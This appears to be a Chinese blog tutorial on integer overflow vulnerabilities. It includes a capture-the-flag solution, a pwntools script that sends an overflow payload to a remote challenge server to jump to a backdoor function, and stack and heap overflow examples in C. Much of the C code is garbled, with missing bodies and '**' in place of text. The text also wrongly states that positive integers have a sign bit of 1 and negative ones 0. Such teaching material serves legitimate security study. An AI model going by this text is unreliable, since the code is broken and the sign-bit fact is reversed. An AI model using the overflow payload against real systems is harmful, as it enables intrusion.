二進位制漏洞原理 整型溢位漏洞

2021-10-10 12:44:08 字數 1933 閱讀 4461

整數分為有符號和無符號兩類,有符號數以最高位作為符號位,正整數最高位為1,負整數最高位為0,不同型別的整數在記憶體中有不同的取值範圍,unsigned int = 4位元組,int = 4位元組,當儲存的數值超過該型別整數的最大值就會發生溢位。

在一些有符號和無符號轉換的過程中最有可能發生整數溢位漏洞。

基於棧的整型溢位

以例子來說明

例1:基於棧的整型溢位利用

圖中的位元組應該改為字長

v3的位元組長度為1 ,所以取值為0-2^8也就是0-255

當v3的取值大於255發生整型溢位時,v3=256實際上時v3=0,v3=257時實際上是v3=1,依次類推。

此題中v3的值是我們輸入的buf字串,後面的if語句會判斷它的值,如果在4-8之間才會執行下面的return語句將我們輸入的字元傳給dest

所以我們將輸入的字元長度設定為長度為260-264之間就可以。

dest距離ebp17個位元組,所以我們需要在輸入的第17+4=21個位元組開始輸入後門函式的位址,之後再補全字元到長度為260-264之間即可。

指令碼如下:

from pwn import

*io=remote(

'node3.buuoj.cn'

,25414

)elf=elf(

'./r2t3'

)system =

0x804858b

payload =

(cyclic(17+

4)+p32(system)

).ljust(

262,b'a'

)io.recv(

)io.sendline(payload)

io.interactive(

)

例2 **講解
#include

"stdio.h"

#include

"string.h"

intmain

(int argc,

char

*ar**)

**中size變數是無符號短整型,取值範圍是0~65535,輸入的值大於65535就會發生溢位,最後得到size為4,這樣會通過邊界檢查,但是用memcpy複製資料的時候,使用的是int型別的引數i,這個值是輸入的65540,就會發生棧溢位:

基於堆的整型溢位

例子:**簡單講解

#include

"stdio.h"

#include

"windows.h"

intmain

(int argc,

char

* ar**)

heapfree

(hheap,

0, pheap1)

;heapfree

(hheap,

0, pheap2)

;return0;

}

**中的size是unsigned short int型別,當輸入小於5,size減去5會得到負數,但由於unsigned short int取值範圍的限制無法識別負數,得到正數65533,最後分配得到過大的堆塊,溢位覆蓋了後面的堆管理結構:

堆的整型溢位漏洞利用

後續更新

漏洞分析 二進位制漏洞

二進位制漏洞 傳統的緩衝區溢位 uaf use after free 等涉及二進位制編碼的漏洞統稱為二進位制漏洞 根據緩衝區所處的不同記憶體空間以及分配方式的不同,緩衝區溢位可以分為棧溢位和堆溢位 棧溢位原理 棧是一種基本的資料結構,是由編譯器自動進行分配 釋放的。棧遵循先進後出的規則,生長方向為從...

二進位制漏洞挖掘 windows漏洞利用如何快速入門

windows二進位制安全研究,漏洞利用是提現乙個人段位的名片。windows二進位制漏洞入門包含了。1.簡單棧溢位利用 2.gs保護繞過利用。包含 攻擊seh繞過gs 攻擊虛函式表繞過gs 3.aslr保護繞過利用。包含 部分覆蓋繞過aslr heap spy 繞過aslr。4.dep保護繞過。r...

星火 二進位制漏洞利用培訓

信安出征,寸草不生。世界萬物皆可pwn,除非你內力不夠深厚,pwn不是你成為武林高手的唯一路徑,但絕對是你闖蕩江湖的武林秘籍。ctf pwn只是乙個起點,希望對pwn 感興趣的童鞋不要只侷限於pwn,因為你學習pwn的時候,也許你覺得這是玄學,建議積極的探索未知的領域,找到那些可以讓你感興趣的地方,...